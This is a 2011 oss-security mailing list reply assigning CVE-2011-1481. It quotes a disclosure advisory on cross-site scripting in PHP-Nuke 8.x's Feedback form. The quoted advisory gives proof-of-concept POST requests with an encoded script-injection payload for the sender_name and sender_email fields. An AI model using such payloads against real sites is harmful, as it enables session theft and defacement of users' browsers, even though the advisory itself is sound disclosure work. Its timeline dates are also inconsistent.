Date: Wed, 30 Mar 2011 15:41:29 -0400 (EDT) From: Josh Bressers <bressers@...hat.com> To: oss-security@...ts.openwall.com Cc: coley <coley@...re.org> Subject: Re: CVE Request: PHP-Nuke 8.x <= Cross Site Scripting Vulnerability Please use CVE-2011-1481. Thanks. -- JB ----- Original Message ----- > PHP-Nuke 8.x <= Cross Site Scripting Vulnerability > > > > 1. OVERVIEW > > The PHP-Nuke version 8.x and lower are vulnerable to Cross Site > Scrtipting. > > > 2. BACKGROUND > > PHP-Nuke is a Web Portal System or content management system. The goal > of PHP-Nuke is to have an automated web site to distribute news and > articles with users system. Each user can submit comments to discuss > the articles. Main features include: web based admin, surveys, top > page, access stats page with counter, user customizable box, themes > manager for registered users, friendly administration GUI with graphic > topic manager, option to edit or delete stories, option to delete > comments, moderation system, Referrers page to know who link us, > sections manager, customizable HTML blocks, user and authors edit, an > integrated Banners Ads system, search engine, backend/headlines > generation (RSS/RDF format), and many, many more friendly functions. > > > 3. VULNERABILITY DESCRIPTION > > The "sender_name" and the "sender_email" parameter are not properly > sanitized upon submission to the /modules.php?name=Feedback, which > allows attacker to conduct Cross Site Scripting attack. This may allow > an attacker to create a specially crafted URL that would execute > arbitrary script code in a victim's browser. > > > 4. VERSIONS AFFECTED > > 8.0 and lower > > Tested version: 8.0 > The paid versions, 8.1 and 9.0, of PHP-Nuke may be vulnerable as well. > > > 5. PROOF-OF-CONCEPT/EXPLOIT > > Parameter: sender_name > > [REQUEST] > POST /phpnuke/modules.php?name=Feedback HTTP/1.1 > Host: attacker.in > Referer: http://attacker.in/phpnuke/modules.php?name=Feedback > > sender_name=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28%2FXSS%2F%29%3E&sender_email=&message=&opi=ds&submit=Send > [/REQUEST] > > --------------------------------------------------------- > Parameter: sender_email > > [REQUEST] > POST /phpnuke/modules.php?name=Feedback HTTP/1.1 > Host: attacker.in > Referer: http://attacker.in/phpnuke/modules.php?name=Feedback > > sender_email=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28%2FXSS%2F%29%3E&sender_name=&message=&opi=ds&submit=Send > [/REQUEST] > > > 6. SOLUTION > > Not Available. > Use of this product is NOT recommended because of long lack of update > and vendor negligence about security reports. > > > 7. VENDOR > > PHP-Nuke Developers > http://phpnuke.org/ > > > 8. CREDIT > > Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar. > > > 9. DISCLOSURE TIME-LINE > > 2011-01-01: contacted author through emails > 2011-01-25: contacted author through web site contact form > 2010-03-23: no replies from author > 2010-03-23: vulnerability disclosed > > > 10. REFERENCES > > Original Advisory URL: > http://yehg.net/lab/pr0js/advisories/[phpnuke-8.x]_cross_site_scripting > About PHP-Nuke: http://en.wikipedia.org/wiki/PHP-Nuke > php-Nuke 8.0: > http://phpnuke.org/modules.php?name=Downloads&d_op=getit&lid=658 > CWE-79: http://cwe.mitre.org/data/definitions/79.html > > > > #yehg [2010-03-23] > > keywords: php nuke, php-nuke, phpnuke, 8.0, 8.1, xss > > --------------------------------- > Best regards, > YGN Ethical Hacker Group > Yangon, Myanmar > http://yehg.net > Our Lab | http://yehg.net/lab > Our Directory | http://yehg.net/hwd
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